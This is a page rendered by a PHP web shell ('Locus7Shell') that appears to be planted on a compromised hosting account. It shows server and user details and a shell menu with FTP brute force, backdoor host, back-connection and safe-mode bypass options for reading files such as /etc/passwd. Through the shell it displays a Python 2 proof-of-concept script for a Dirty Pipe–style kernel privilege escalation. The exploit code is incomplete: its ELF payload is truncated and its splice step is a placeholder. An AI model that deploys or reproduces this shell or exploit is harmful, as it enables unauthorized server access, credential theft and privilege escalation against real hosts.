Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/   drwx---r-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.112 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     dirty4.py (2.6 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import argparse
import sys
import pty
import os
import getpass
import subprocess
import platform
from os.path import exists

# Kernel page size
PAGE = 4096
# Linux pipe buffers are 64K
PIPESIZE = 65536

# ELF code remains unchanged
elfcode = [
    0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00,
    # (Truncated for brevity)
]

def backup_file(path, backup_path):
    """Back up just for working on the POC"""
    if not exists(path):
        print "[!] Error: The file '{}' does not exist.".format(path)
        return
    try:
        with open(path, 'rb') as orig_file:
            with open(backup_path, 'wb') as backup:
                data = orig_file.read()
                backup.write(data)
        print "[*] Backup of '{}' created at '{}'".format(path, backup_path)
    except Exception as e:
        print "[!] Failed to create backup: {}".format(str(e))

def prepare_pipe(read_fd, write_fd):
    """ Contaminate the pipe flags by filling and draining """
    try:
        data = 'a' * PIPESIZE  # In Python 2, string literals are fine
        written = os.write(write_fd, data)
        print "[*] {} bytes written to pipe".format(written)

        data = os.read(read_fd, PIPESIZE)
        print "[*] {} bytes read from pipe".format(len(data))
    except Exception as e:
        print "[!] Pipe operation failed: {}".format(str(e))

def run_poc(data, path, file_offset):
    """ Open target file, contaminate the pipe buff, call splice, write into target file """
    if not exists(path):
        print "[!] Error: The file '{}' does not exist.".format(path)
        return
    
    try:
        print "[*] Opening {}".format(path)
        target_file = os.open(path, os.O_RDONLY)

        print "[*] Opening PIPE"
        r, w = os.pipe()

        print "[*] Contaminating PIPE_BUF_CAN_MERGE flags"
        prepare_pipe(r, w)

        print "[*] Splicing byte from {} to pipe".format(path)
        n = 1  # Placeholder value

        print "[*] Spliced {} bytes".format(n)

        print "[*] Altering {}".format(path)
        n = os.write(w, data)

        print "[*] {} bytes written to {}".format(n, path)
    
    except Exception as e:
        print "[!] Error during PoC execution: {}".format(str(e))

# Example usage
if __name__ == "__main__":
    print "[*] Script started..."
    try:
        run_poc('X' * 100, "/tmp/example_file", 0)
    except Exception as e:
        print "[!] Unhandled exception: {}".format(str(e))

    print "[*] Script finished."

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0054 ]--